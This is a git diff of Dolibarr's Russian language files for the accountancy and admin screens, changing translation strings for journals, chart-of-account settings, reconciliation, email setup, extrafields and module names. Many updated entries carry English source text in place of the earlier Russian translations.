Bookkeeping=Бухгалтерская книга BookkeepingSubAccount=Вспомогательная книга AccountBalance=Баланс +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Ссылка на исходный объект CAHTF=Итого закупка продавца до налогообложения TotalExpenseReport=Отчет об общих расходах @@ -163,40 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Включить комбинированный спи ACCOUNTING_DATE_START_BINDING=Определите дату начала привязки и передачи в бухгалтерском учете. Ниже этой даты операции не переносятся в бухгалтерский учет. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Журнал продаж -ACCOUNTING_PURCHASE_JOURNAL=Журнал платежей -ACCOUNTING_MISCELLANEOUS_JOURNAL=Журнал "Разное" +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Журнал отчетов о расходах -ACCOUNTING_SOCIAL_JOURNAL=Социальный журнал +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Есть новый журнал +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Социальный журнал ACCOUNTING_RESULT_PROFIT=Результат бухгалтерского учета (Прибыль) ACCOUNTING_RESULT_LOSS=Результат бухгалтерского учета (убыток) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Журнал закрытия -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Бухгалтерский счет переходного банковского перевода +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Счет переходного банковского перевода -ACCOUNTING_ACCOUNT_SUSPENSE=Бухгалтерский учет ожидания -DONATION_ACCOUNTINGACCOUNT=Бухгалтерский счет для регистрации пожертвований -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Учетная запись для регистрации подписок +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Бухгалтерский счет по умолчанию для регистрации депозита клиента +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Бухгалтерский счет по умолчанию для купленных продуктов (используется, если не определено в описании продукта) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Бухгалтерский счет по умолчанию для купленных продуктов в EEC (используется, если не определено в описании продукта) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Бухгалтерский счет по умолчанию для купленных продуктов и импортированных из ЕЭС (используется, если не определено в описании продукта) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Бухгалтерский счет по умолчанию для проданных товаров (используется, если не указано в описании товара) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Бухгалтерский счет по умолчанию для продуктов, продаваемых в EEC (используется, если не указано в описании продукта) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Бухгалтерский счет по умолчанию для продуктов, проданных и экспортированных из ЕЭС (используется, если не указано в описании продукта) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Бухгалтерский счет по умолчанию для купленных услуг (используется, если не определено в сервисном листе) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Бухгалтерский счет по умолчанию для купленных услуг в ЕЭК (используется, если не указано в сервисном листе) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Бухгалтерский счет по умолчанию для купленных услуг и импортированных из EEC (используется, если не определено в сервисном листе) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Бухгалтерский счет по умолчанию для проданных услуг (используется, если не определено в листе услуг) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Бухгалтерский счет по умолчанию для услуг, продаваемых в ЕЭС (используется, если не определено в сервисном листе) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Учетный счет по умолчанию для услуг, проданных и экспортированных из ЕЭК (используется, если не определено в сервисном листе) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Тип документа Docdate=Дата @@ -211,7 +220,8 @@ Codejournal=Журнал JournalLabel=Этикетка журнала NumPiece=Количество штук TransactionNumShort=№ проводки -AccountingCategory=Пользовательская группа +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Группировать по счету главной книги GroupBySubAccountAccounting=Группировка по счету вспомогательной книги AccountingAccountGroupsDesc=Здесь вы можете определить несколько групп бухгалтерского учета. Они будут использоваться для персонализированной бухгалтерской отчетности. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Показать промежуточный итог по у Pcgtype=Группа счетов PcgtypeDesc=Группа счетов используется в качестве предопределенных критериев «фильтра» и «группировки» для некоторых бухгалтерских отчетов. Например, «ДОХОД» или «РАСХОДЫ» используются в качестве групп для бухгалтерских счетов продуктов для построения отчета о расходах/доходах. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Примиримый TotalVente=Общий оборот до налогообложения TotalMarge=Итоговая наценка на продажи -DescVentilCustomer=См. Здесь список строк счетов-фактур клиентов, привязанных (или нет) к учетной записи учета продукта. -DescVentilMore=В большинстве случаев, если вы используете предопределенные продукты или услуги и устанавливаете номер счета в карточке продукта / услуги, приложение сможет выполнить всю привязку между строками вашего счета и учетной записью вашего плана счетов всего за один день. в один клик кнопкой "%s". Если учетная запись не была настроена на карточках продуктов/услуг или у вас все еще есть строки, не привязанные к учетной записи, вам придется вручную выполнить привязку из меню «%s». -DescVentilDoneCustomer=См. Здесь список строк клиентов, выставляющих счета, и их учетные записи продуктов. -DescVentilTodoCustomer=Привязка строк счета-фактуры, еще не связанных с учетной записью продукта -ChangeAccount=Измените учетную запись учета продуктов/услуг для выбранных строк со следующей учетной записью: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=См. Здесь список строк счетов-фактур, связанных или еще не связанных с учетной записью продукта (видны только записи, еще не переданные в бухгалтерский учет) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=См. Здесь список строк счетов-фактур поставщиков и их учетную запись. DescVentilTodoExpenseReport=Привязка строк отчета о расходах, еще не связанных со счетом учета сборов DescVentilExpenseReport=См. Здесь список строк отчета о расходах, привязанных (или нет) к счету учета комиссий. @@ -283,20 +294,21 @@ DescClosure=Consult here the number of movements by month not yet validated & lo OverviewOfMovementsNotValidated=Обзор перемещений, не подтвержденных и заблокированных AllMovementsWereRecordedAsValidated=Все движения были записаны как проверенные и заблокированные. NotAllMovementsCouldBeRecordedAsValidated=Не все движения могли быть записаны как проверенные и заблокированные -ValidateMovements=Подтвердить и заблокировать запись... +ValidateMovements=Validate and lock movements... DescValidateMovements=Любое изменение или удаление надписей, надписей и удалений будет запрещено. Все записи для упражнения должны быть подтверждены, иначе закрытие будет невозможно. ValidateHistory=Связывать автоматически AutomaticBindingDone=Выполнено автоматическое связывание (%s) — автоматическое связывание невозможно для некоторых записей (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Ошибка, вы не можете удалить эту учетную запись, потому что она используется +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Движение неправильно сбалансировано. Дебет = %s и кредит = %s Balancing=Балансировка FicheVentilation=Обязательная карта GeneralLedgerIsWritten=Проводки записываются в бухгалтерскую книгу GeneralLedgerSomeRecordWasNotRecorded=Некоторые проводки не удалось зарегистрировать. Если других сообщений об ошибках нет, вероятно, они уже были занесены в журнал. NoNewRecordSaved=Нет больше записи для передачи -ListOfProductsWithoutAccountingAccount=Список продуктов, не привязанных к какой-либо учетной записи +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Сменить привязку Accounted=Учтено в бухгалтерской книге NotYetAccounted=Еще не переведено в бухгалтерский учет @@ -319,9 +331,10 @@ AccountingJournalType1=Разные операции AccountingJournalType2=Продажи AccountingJournalType3=Покупки AccountingJournalType4=Банк -AccountingJournalType5=Отчет о расходах +AccountingJournalType5=Отчёты о затратах AccountingJournalType8=Инвентарная ведомость AccountingJournalType9=Имеет новый +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Этот журнал уже используется AccountingAccountForSalesTaxAreDefinedInto=Примечание. Бухгалтерский счет для налога с продаж определяется в меню %s - %s NumberOfAccountancyEntries=Количество входов @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Количество движений ACCOUNTING_DISABLE_BINDING_ON_SALES=Отключить привязку и перенос в бухгалтерии по продажам (счета клиентов не будут учитываться в бухгалтерии) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Отключить привязку и перенос в бухгалтерии по закупкам (счета поставщика не будут учитываться в бухгалтерии) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Отключить привязку и перенос в бухгалтерском учете в отчетах о расходах (отчеты о расходах не будут учитываться в бухгалтерском учете) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Отметить экспортированные строки как Экспортированные (чтобы изменить строку, вам нужно будет удалить всю транзакцию и заново перенести ее в учет) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Проверка даты и блокировка ConfirmExportFile=Подтверждение генерации файла экспорта бухгалтерского учета? ExportDraftJournal=Экспорт черновика журнала @@ -389,7 +406,7 @@ SaleLocal=Местная продажа SaleExport=Продажа на экспорт SaleEEC=Продажа в ЕЭС SaleEECWithVAT=Продажа в ЕЭС с ненулевым НДС, поэтому мы предполагаем, что это НЕ внутриобщинная продажа, а предлагаемая учетная запись является стандартной учетной записью продукта. -SaleEECWithoutVATNumber=Продажа в ЕЭС без НДС, но идентификатор плательщика НДС третьей стороны не определен. Мы возвращаемся к учетной записи продукта для стандартных продаж. При необходимости вы можете исправить идентификатор плательщика НДС третьей стороны или учетную запись продукта. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Запрещено: транзакция проверена и/или экспортирована. ForbiddenTransactionAlreadyValidated=Запрещено: Транзакция подтверждена. ## Dictionary @@ -398,7 +415,11 @@ Calculated=Рассчитано Formula=Формула ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Несогласие +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=Согласование не изменено AccountancyOneLetteringModifiedSuccessfully=Одно согласование успешно изменено AccountancyLetteringModifiedSuccessfully=%s согласование успешно изменено @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=Один несогласован AccountancyUnletteringModifiedSuccessfully=%s успешно изменено несоответствие ## Confirm box -ConfirmMassUnlettering=Массовое несогласованное подтверждение -ConfirmMassUnletteringQuestion=Вы уверены, что хотите отменить согласование выбранных записей %s? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Подтверждение пакетного удаления ConfirmMassDeleteBookkeepingWritingQuestion=Это удалит транзакцию из учета (все строки, относящиеся к одной и той же транзакции, будут удалены). Вы уверены, что хотите удалить выбранные записи %s? @@ -428,6 +450,7 @@ AccountancyErrorMismatchLetterCode=Несоответствие в коде со AccountancyErrorMismatchBalanceAmount=Баланс (%s) не равен 0 AccountancyErrorLetteringBookkeeping=Произошли ошибки, связанные с транзакциями: %s ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Бухгалтерские записи @@ -454,6 +477,7 @@ FECFormatMulticurrencyCode=Мультивалютный код (Idevise) DateExport=Дата экспорта WarningReportNotReliable=Предупреждение, этот отчет не основан на главной книге, поэтому не содержит проводки, измененных вручную в главной книге. Если ваша журнализация актуальна, бухгалтерский учет будет более точным. ExpenseReportJournal=Журнал отчетов о затратах -InventoryJournal=Журнал инвентарного учета +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s счета diff --git a/htdocs/langs/ru_RU/admin.lang b/htdocs/langs/ru_RU/admin.lang index 5b007b8e214..1760a6e4bb8 100644 --- a/htdocs/langs/ru_RU/admin.lang +++ b/htdocs/langs/ru_RU/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Сопоставление клиентов WarningModuleNotActive=Модуль %s должен быть включен WarningOnlyPermissionOfActivatedModules=Здесь приведены только права доступа, связанные с активированными модулями. Вы можете активировать другие модули на странице Главная->Установка->Модули. DolibarrSetup=Установка или обновление Dolibarr -InternalUser=Внутренний пользователь -ExternalUser=Внешний пользователь InternalUsers=Внутренние пользователи ExternalUsers=Внешние пользователи UserInterface=Пользовательский интерфейс @@ -109,7 +107,7 @@ NextValueForReplacements=Следующее значение (замены) MustBeLowerThanPHPLimit=Примечание: ваша конфигурация PHP в настоящее время ограничивает максимальный размер файлов для загрузки до %s %s, независимо от значения этого параметра. NoMaxSizeByPHPLimit=Примечание: в вашей конфигурации PHP установлено no limit MaxSizeForUploadedFiles=Максимальный размер загружаемых файлов (0 для запрещения каких-либо загрузок) -UseCaptchaCode=Use graphical code (CAPTCHA) on login page and some public pages +UseCaptchaCode=Используйте графический код (CAPTCHA) на странице входа и некоторых публичных страницах AntiVirusCommand=Полный путь к антивирусной команде AntiVirusCommandExample=Пример для ClamAv Daemon (требуется clamav-daemon): /usr/bin/clamdscan
      Пример для ClamWin (очень-очень медленный): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe AntiVirusParam= Дополнительные параметры командной строки @@ -147,6 +145,7 @@ Box=Виджет Boxes=Виджеты MaxNbOfLinesForBoxes=Макс. количество строк для виджета AllWidgetsWereEnabled=Доступны все доступные виджеты +WidgetAvailable=Widget available PositionByDefault=Порядок по умолчанию Position=Позиция MenusDesc=Менеджеры меню устанавливают содержание двух полос меню (горизонтальной и вертикальной). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Хост SMTP/SMTPS (значение по умолчан MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Порт SMTP/SMTPS (не определен в PHP в Unix-подобных системах) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Хост SMTP/SMTPS (не определен в PHP в Unix-подобных системах) MAIN_MAIL_EMAIL_FROM=Адрес электронной почты отправителя для автоматической отправки электронных писем (значение по умолчанию в php.ini: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Электронная почта, использованная для сообщения об ошибке, возвращает сообщения электронной почты (поля «Сообщения об ошибках» в отправленных сообщениях электронной почты). MAIN_MAIL_AUTOCOPY_TO= Копировать (СК) все отправленные письма в MAIN_DISABLE_ALL_MAILS=Отключить всю отправку электронной почты (для тестирования или демонстрации) @@ -375,7 +375,7 @@ DoTestSendHTML=Тестовая отправка HTML ErrorCantUseRazIfNoYearInMask=Ошибка, не может использовать параметр @ для сброса счетчика каждый год, если последовательность {yy} или {yyyy} не находится в маске. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Ошибка, не возможно использовать опцию @ если последовательность {yy}{mm} или {yyyy}{mm} не в маске. UMask=UMask параметр для новых файлов в файловых системах Unix/Linux/BSD/Mac. -UMaskExplanation=Этот параметр позволяет определить набор прав по умолчанию для файлов, созданных Dolibarr на сервере (при загрузке, например).
      Это должно быть восьмеричное значение (например, 0666 означает, читать и записывать сможет каждый).
      Этот параметр бесполезен на Windows-сервере. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Посмотрите на вики-странице список участников и их организации. UseACacheDelay= Задержка для кэширования при экспорте в секундах (0 или пусто для отключения кэширования) DisableLinkToHelpCenter=Скрыть ссылку «Нужна помощь или поддержка» на странице входа @@ -439,8 +439,10 @@ Unique=Уникальный Boolean=Логический (флажок) ExtrafieldPhone = Телефон ExtrafieldPrice = Цена +ExtrafieldPriceWithCurrency=Цена с валютой ExtrafieldMail = Адрес электронной почты ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Выбрать из списка ExtrafieldSelectList = Выбрать из таблицы ExtrafieldSeparator=Разделитель (не поле) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Флажок ExtrafieldCheckBoxFromList=Флажки из таблицы ExtrafieldLink=Ссылка на объект ComputedFormula=Вычисленное поле -ComputedFormulaDesc=Вы можете ввести здесь формулу, используя другие свойства объекта или любую кодировку PHP, чтобы получить динамическое вычисленное значение. Вы можете использовать любые PHP-совместимые формулы, включая знак "?" оператор условия и следующий глобальный объект: $db, $conf, $langs, $mysoc, $user, $object.
      ПРЕДУПРЕЖДЕНИЕ: могут быть доступны только некоторые свойства объекта $. Если вам нужны не загруженные свойства, просто выберите объект в формулу, как во втором примере.
      Использование вычисляемого поля означает, что вы не можете ввести себе какое-либо значение из интерфейса. Кроме того, в случае синтаксической ошибки формула может ничего не вернуть.

      Пример формулы:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Пример перезагрузки объекта
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Другой пример формулы для принудительной загрузки объекта и его родительского объекта:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Сохранить вычисленное поле ComputedpersistentDesc=Вычисленные дополнительные поля будут сохранены в базе данных, однако значение будет пересчитано только при изменении объекта этого поля. Если вычисляемое поле зависит от других объектов или глобальных данных, это значение может быть неправильным!! ExtrafieldParamHelpPassword=Оставьте это поле пустым, чтобы значение хранилось без шифрования (поле должно быть скрыто только звездочкой на экране).
      Установите 'auto', чтобы использовать правило шифрования по умолчанию для сохранения пароля в базе данных (тогда считываемое значение будет только хешем, никакой возможности восстановить исходное значение) @@ -477,7 +479,7 @@ InstalledInto=Установлен в каталог %s BarcodeInitForThirdparties=Массовая инициализация штрих-кода для контрагентов BarcodeInitForProductsOrServices=Массовое создание или удаление штрих-кода для Товаров или Услуг CurrentlyNWithoutBarCode=В настоящее время у вас есть %s запись на %s %s без определенного штрих-кода. -InitEmptyBarCode=Init value for the %s empty barcodes +InitEmptyBarCode=Начальное значение для пустых штрих-кодов %s EraseAllCurrentBarCode=Стереть все текущие значения штрих-кодов ConfirmEraseAllCurrentBarCode=Вы действительно хотите удалить все текущие значения штрих-кода? AllBarcodeReset=Все значения штрих-кодов были удалены @@ -501,10 +503,11 @@ WarningPHPMail=ВНИМАНИЕ! Для отправки электронных WarningPHPMailA=- Использование сервера поставщика услуг электронной почты повышает надежность вашей электронной почты, поэтому она увеличивает доставку без пометки как спам WarningPHPMailB=- Некоторые поставщики услуг электронной почты (например, Yahoo) не позволяют отправлять электронную почту с другого сервера, кроме их собственного. Ваша текущая настройка использует сервер приложения для отправки электронной почты, а не сервер вашего провайдера электронной почты, поэтому некоторые получатели (тот, который совместим с ограничительным протоколом DMARC) будут спрашивать вашего провайдера электронной почты, могут ли они принять вашу электронную почту, и некоторые поставщики электронной почты. (например, Yahoo) могут ответить «нет», потому что сервер им не принадлежит, поэтому некоторые из отправленных вами электронных писем могут быть не приняты для доставки (будьте осторожны также с квотой отправки вашего почтового провайдера). WarningPHPMailC=- Использование SMTP-сервера вашего собственного поставщика услуг электронной почты для отправки электронных писем также интересно, поэтому все электронные письма, отправленные из приложения, также будут сохранены в вашем каталоге «Отправленные» вашего почтового ящика. -WarningPHPMailD=Кроме того, рекомендуется изменить способ отправки электронных писем на значение «SMTP». Если вы действительно хотите сохранить метод «PHP» по умолчанию для отправки электронных писем, просто проигнорируйте это предупреждение или удалите его, установив для константы MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP значение 1 в Главная - Настройка - Другое. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Если вашему SMTP-провайдеру электронной почты необходимо ограничить почтовый клиент некоторыми IP-адресами (это очень редко), это IP-адрес почтового пользователя (MUA) для вашего приложения ERP CRM: %s. WarningPHPMailSPF=Если доменное имя в вашем адресе электронной почты отправителя защищено записью SPF (спросите у регистратора доменного имени), вы должны добавить следующие IP-адреса в запись SPF DNS вашего домена: %s . -ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s +ActualMailSPFRecordFound=Найдена актуальная запись SPF (для электронной почты %s): %s ClickToShowDescription=Нажмите, чтобы посмотреть описание DependsOn=Этот модуль нуждается в модуле (модулях) RequiredBy=Этот модуль требуется для модуля (модулей) @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Пример:
      Для формы созда PageUrlForDefaultValuesList=
      Пример:
      Для страницы, на которой перечислены контрагенты, это %s.
      Для URL-адресов внешних модулей, установленных в пользовательский каталог, не включайте «custom/», и используйте путь как mymodule/mypagelist.php, а не custom/mymodule/mypagelist.php.
      Если вы хотите использовать значение по умолчанию, только если в url есть какой-либо параметр, вы можете использовать %s AlsoDefaultValuesAreEffectiveForActionCreate=Также обратите внимание, что перезапись значений по умолчанию для создания формы работает только для страниц, которые были правильно созданы (так с параметром action = create или presend ...) EnableDefaultValues=Включить настройку значений по умолчанию -EnableOverwriteTranslation=Разрешить использование перезаписанного перевода +EnableOverwriteTranslation=Разрешить настройку переводов GoIntoTranslationMenuToChangeThis=Для ключа с этим кодом найден перевод. Чтобы изменить это значение, вы должны отредактировать его из Главная-Настройки-Перевод. WarningSettingSortOrder=Предупреждение, установка порядка сортировки по умолчанию может привести к технической ошибке при переходе на страницу списка, если поле является неизвестным. Если у вас возникла такая ошибка, вернитесь на эту страницу, чтобы удалить порядок сортировки по умолчанию и восстановить поведение по умолчанию. Field=Поле @@ -643,11 +646,13 @@ Module2300Name=Запланированные задания Module2300Desc=Управление запланированными заданиями (alias cron или chrono table) Module2400Name=События/Повестка дня Module2400Desc=Отслеживать события. Журнал автоматических событий для отслеживания или записи вручную событий или встреч. Это основной модуль для хорошего управления взаимоотношениями с клиентами или поставщиками. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=Модуль DMS/ECM Module2500Desc=Система управления документами / Управление электронным контентом. Автоматическая организация ваших сгенерированных или сохраненных документов. Поделитесь ими, когда вам нужно. -Module2600Name=API/Веб-службы (SOAP-сервер) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Включение Dolibarr SOAP сервера предоставляющего API-сервис -Module2610Name=API/веб-службы (сервер REST) +Module2610Name=API / Web services (REST server) Module2610Desc=Включить сервер REST для Dolibarr, предоставляющий услуги API Module2660Name=Вызовите WebServices (клиент SOAP) Module2660Desc=Включить клиент веб-служб Dolibarr (может использоваться для передачи данных/запросов на внешние серверы. В настоящее время поддерживаются только заказы на покупку.) @@ -658,6 +663,8 @@ Module2900Name=Модуль GeoIPMaxmind Module2900Desc=Подключение к службе GeoIP MaxMind для преобразования IP-адреса в название страны Module3200Name=Неограниченные архивы Module3200Desc=Включите неизменяемый журнал деловых событий. События архивируются в режиме реального времени. Журнал представляет собой доступную только для чтения таблицу связанных событий, которые можно экспортировать. Этот модуль может быть обязательным для некоторых стран. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Социальные сети Module3400Desc=Включите поля социальных сетей в третьи стороны и адреса (скайп, твиттер, фейсбук, ...). Module4000Name=Управление персоналом @@ -698,7 +705,10 @@ Module62000Name=Обязанности по доставке товаров Module62000Desc=Добавить функции для управления Инкотермс Module63000Name=Ресурсы Module63000Desc=Управление ресурсами (принтеры, машины, комнаты, ...) для распределения на события -Permission11=Просмотр счетов-фактур клиентов +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Поступлдения +Permission11=Read customer invoices (and payments) 